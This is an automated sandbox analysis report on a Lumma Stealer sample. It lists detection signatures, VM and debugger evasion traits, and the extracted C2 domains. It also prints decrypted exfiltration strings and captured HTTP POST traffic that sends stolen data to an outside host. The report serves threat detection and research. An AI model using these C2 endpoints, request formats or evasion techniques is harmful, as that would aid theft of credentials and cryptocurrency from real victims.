Edit tour

Windows Analysis Report
dEugughckk.exe

Overview

General Information

Sample name:	dEugughckk.exe renamed because original name is a hash value
Original sample name:	de5663a16524882ceb5a3010b0ec0b1e.exe
Analysis ID:	1580866
MD5:	de5663a16524882ceb5a3010b0ec0b1e
SHA1:	280d168c2fd1c0907eca8f1818b3cd6898586c88
SHA256:	b83a1f57cac8525b3cf0e64196418f40f5360b029e7c39daaa5909066b49e8de
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Entry point lies outside standard sections

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

dEugughckk.exe (PID: 6220 cmdline: "C:\Users\user\Desktop\dEugughckk.exe" MD5: DE5663A16524882CEB5A3010B0EC0B1E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["screwamusresz.buzz", "rebuildeso.buzz", "cashfuzysao.buzz", "prisonyfork.buzz", "mindhandru.buzz", "inherineau.buzz", "scentniej.buzz", "appliacnesot.buzz", "hummskitnj.buzz"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: dEugughckk.exe PID: 6220	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: dEugughckk.exe PID: 6220	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: dEugughckk.exe PID: 6220	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:37:07.267775+0100	2028371	3	Unknown Traffic	192.168.2.6	49709	172.67.165.185	443	TCP
2024-12-26T12:37:09.381828+0100	2028371	3	Unknown Traffic	192.168.2.6	49711	172.67.165.185	443	TCP
2024-12-26T12:37:12.142815+0100	2028371	3	Unknown Traffic	192.168.2.6	49712	172.67.165.185	443	TCP
2024-12-26T12:37:14.764556+0100	2028371	3	Unknown Traffic	192.168.2.6	49714	172.67.165.185	443	TCP
2024-12-26T12:37:17.094658+0100	2028371	3	Unknown Traffic	192.168.2.6	49716	172.67.165.185	443	TCP
2024-12-26T12:37:19.669953+0100	2028371	3	Unknown Traffic	192.168.2.6	49722	172.67.165.185	443	TCP
2024-12-26T12:37:22.404787+0100	2028371	3	Unknown Traffic	192.168.2.6	49731	172.67.165.185	443	TCP
2024-12-26T12:37:25.742628+0100	2028371	3	Unknown Traffic	192.168.2.6	49737	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:37:08.020254+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49709	172.67.165.185	443	TCP
2024-12-26T12:37:10.186417+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49711	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:37:08.020254+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49709	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:37:10.186417+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49711	172.67.165.185	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:37:20.466470+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49722	172.67.165.185	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: dEugughckk.exe

Avira: detected

Found malware configuration

Source: dEugughckk.exe.6220.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["screwamusresz.buzz", "rebuildeso.buzz", "cashfuzysao.buzz", "prisonyfork.buzz", "mindhandru.buzz", "inherineau.buzz", "scentniej.buzz", "appliacnesot.buzz", "hummskitnj.buzz"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: dEugughckk.exe	ReversingLabs: Detection: 63%
Source: dEugughckk.exe	Virustotal: Detection: 54%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: dEugughckk.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: mindhandru.buzz
Source: 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: PsFKDg--pablo

Source: dEugughckk.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49731 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49709 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49722 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49711 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49711 -> 172.67.165.185:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz

Source: Joe Sandbox View

IP Address: 172.67.165.185 172.67.165.185

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49711 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49712 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49714 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49716 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49709 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49722 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49737 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49731 -> 172.67.165.185:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6H0U0FTRHX5X0CNQZ1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12859Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2GVV2ISQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15045Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=UCW5FUD15LFGSXPXLXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19963Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Y2LCX0M357SG3UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1201Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JK9GL8IP68WS8MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552239Host: mindhandru.buzz

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: mindhandru.buzz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: dEugughckk.exe, 00000000.00000003.2344411887.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2269879267.0000000000BAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: dEugughckk.exe, 00000000.00000003.2244483083.0000000005379000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: dEugughckk.exe, 00000000.00000003.2244483083.0000000005379000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: dEugughckk.exe, 00000000.00000003.2244483083.0000000005379000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: dEugughckk.exe, 00000000.00000003.2267288282.0000000005378000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2244483083.000000000537D000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2220033317.0000000005379000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2344411887.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2242737956.000000000537D000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2243039996.000000000537D000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2291410151.0000000005380000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2346017720.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2220275050.000000000537A000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2344468698.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2220109742.0000000005371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: dEugughckk.exe, 00000000.00000003.2344348604.0000000005380000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2348279502.0000000005380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/C
Source: dEugughckk.exe, 00000000.00000003.2291702317.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2296112010.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/ap
Source: dEugughckk.exe, 00000000.00000003.2344571422.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2291575133.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2269832197.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2291575133.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: dEugughckk.exe, 00000000.00000003.2269832197.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apie
Source: dEugughckk.exe, 00000000.00000003.2291702317.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2291575133.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apir
Source: dEugughckk.exe, 00000000.00000003.2291702317.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2269832197.0000000000BE2000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2291575133.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apit
Source: dEugughckk.exe, 00000000.00000003.2269832197.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiwDnl
Source: dEugughckk.exe, 00000000.00000003.2344411887.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2346017720.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2344468698.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/d
Source: dEugughckk.exe, 00000000.00000003.2291575133.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/ic9q#
Source: dEugughckk.exe, 00000000.00000003.2344411887.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2346017720.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2344468698.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2291575133.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/ksyr
Source: dEugughckk.exe, 00000000.00000003.2344411887.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2346017720.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2344468698.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/ms
Source: dEugughckk.exe, 00000000.00000003.2344601578.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2345940306.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2269879267.0000000000B84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi
Source: dEugughckk.exe, 00000000.00000003.2344411887.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2346017720.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2344468698.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/piis
Source: dEugughckk.exe, 00000000.00000003.2344411887.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2346017720.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2344468698.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/xt
Source: dEugughckk.exe, 00000000.00000003.2244088110.000000000548F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: dEugughckk.exe, 00000000.00000003.2244088110.000000000548F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: dEugughckk.exe, 00000000.00000003.2244378441.000000000538E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: dEugughckk.exe, 00000000.00000003.2244378441.000000000538E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: dEugughckk.exe, 00000000.00000003.2244088110.000000000548F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: dEugughckk.exe, 00000000.00000003.2244088110.000000000548F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: dEugughckk.exe, 00000000.00000003.2244088110.000000000548F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig

